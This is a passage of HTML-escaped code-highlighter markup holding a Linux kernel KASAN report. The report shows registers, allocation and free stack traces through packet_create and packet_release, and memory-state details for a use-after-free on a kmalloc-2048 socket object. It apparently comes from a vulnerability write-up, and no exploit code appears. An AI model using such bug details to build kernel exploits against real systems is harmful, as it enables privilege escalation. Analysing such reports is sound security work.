class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000450a67<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-21\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.821414<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RDX<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000014<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RSI<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e7976d50<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RDI<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000014<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-22\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.822258<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">RBP<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007ffd83198af0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R08<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e7977700<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R09<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e7977700<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-23\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.823108<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R10<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e79779d0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R11<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000217<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R12<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007ffd83198aee<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-24\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.823953<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R13<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007ffd83198aef<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R14<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00007fa6e7977700<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">R15<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">000000000000000f<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-25\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.824811<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-26\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.824996<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Allocated <\/span><span class=\"crayon-e\">by <\/span><span class=\"crayon-i\">task<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">234<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-27\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.825407<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">save_stack_trace<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1b<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x20<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-28\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.825875<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">save_stack<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x43<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xd0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-29\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.826203<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">kasan_kmalloc<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xad<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xe0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-30\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.826542<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">__kmalloc<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x105<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x230<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-31\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.826952<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">sk_prot_alloc<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xe2<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x260<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-32\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.827390<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">sk_alloc<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x110<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xeb0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-33\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.827822<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">packet_create<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x160<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xb80<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-34\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.828309<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">__sock_create<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x2c3<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x6b0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-35\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.828806<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">SyS_socket<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xe3<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x220<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-36\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.829219<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">entry_SYSCALL_64_fastpath<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x24<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xab<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-37\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.829773<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-38\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.829960<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Freed <\/span><span class=\"crayon-e\">by <\/span><span class=\"crayon-i\">task<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">234<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-39\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.830333<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">save_stack_trace<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1b<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x20<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-40\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.830838<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">save_stack<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x43<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xd0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-41\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.831284<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">kasan_slab_free<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x72<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xc0<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-42\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.831779<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">kfree<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x94<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x1a0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-43\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.832181<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">__sk_destruct<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x594<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x820<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-44\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.832711<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">sk_destruct<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x3f<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x60<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-45\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.833170<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">__sk_free<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x54<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x200<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-46\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.833618<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">sk_free<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x19<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x20<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-47\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.834031<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">packet_release<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x79b<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xd00<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-48\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.834539<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">sock_release<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x8d<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x1c0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-49\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.834976<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">sock_close<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x12<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x20<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-50\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.835436<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">__fput<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x309<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x910<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-51\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.835874<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">____fput<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xe<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x10<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-52\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.836353<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">task_work_run<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x153<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x230<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-53\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.836919<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">exit_to_usermode_loop<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x1e6<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x230<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-54\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.837475<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">syscall_return_slowpath<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0x270<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0x300<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-55\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.838107<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">entry_SYSCALL_64_fastpath<\/span><span class=\"crayon-o\">+<\/span><span class=\"crayon-cn\">0xa9<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0xab<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-56\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.838702<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-57\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.838908<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">The <\/span><span class=\"crayon-e\">buggy <\/span><span class=\"crayon-e\">address <\/span><span class=\"crayon-e\">belongs <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-t\">object<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">at <\/span><span class=\"crayon-i\">ffff88005c67ee80<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-58\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.838908<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-e\">which <\/span><span class=\"crayon-e\">belongs <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">cache <\/span><span class=\"crayon-v\">kmalloc<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">2048<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">of <\/span><span class=\"crayon-i\">size<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2048<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-59\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.840392<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">The <\/span><span class=\"crayon-e\">buggy <\/span><span class=\"crayon-e\">address <\/span><span class=\"crayon-st\">is<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">located<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1328<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bytes <\/span><span class=\"crayon-e\">inside <\/span><span class=\"crayon-i\">of<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-60\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.840392<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">2048<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-t\">byte<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">region<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">[<\/span><span class=\"crayon-v\">ffff88005c67ee80<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ffff88005c67f680<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-61\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.841377<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">The <\/span><span class=\"crayon-e\">buggy <\/span><span class=\"crayon-e\">address <\/span><span class=\"crayon-e\">belongs <\/span><span class=\"crayon-st\">to<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-v\">page<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-62\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.841783<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">page<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-e\">ffffea0001719e00 <\/span><span class=\"crayon-v\">count<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mapcount<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">mapping<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-t\">null<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">index<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-cn\">0x0<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">compound_mapcount<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-63\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.842832<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">flags<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0xfffffc0008100<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">slab<\/span><span class=\"crayon-o\">|<\/span><span class=\"crayon-v\">head<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-64\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.843292<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">raw<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">000fffffc0008100<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">00000001000f000f<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-65\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.843979<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">raw<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">dead000000000100 <\/span><span class=\"crayon-e\">dead000000000200 <\/span><span class=\"crayon-i\">ffff880060802a80<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0000000000000000<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-66\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.844758<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">page <\/span><span class=\"crayon-e\">dumped <\/span><span class=\"crayon-v\">because<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">kasan<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bad <\/span><span class=\"crayon-e\">access <\/span><span class=\"crayon-i\">detected<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-67\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.845313<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-5b74a6df5440a697334798-68\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.845469<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">Memory <\/span><span class=\"crayon-e\">state <\/span><span class=\"crayon-e\">around <\/span><span class=\"crayon-e\">the <\/span><span class=\"crayon-e\">buggy <\/span><span class=\"crayon-v\">address<\/span><span class=\"crayon-o\">:<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-5b74a6df5440a697334798-69\"><span class=\"crayon-sy\">[<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-cn\">123.845948<\/span><span class=\"crayon-sy\">]<\/span><span class=\"crayon-h\">&nbsp;&nbsp;<\/span><span class=\"crayon-v\">ffff88005c67f280<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb <\/span><span class=\"crayon-e\">fb 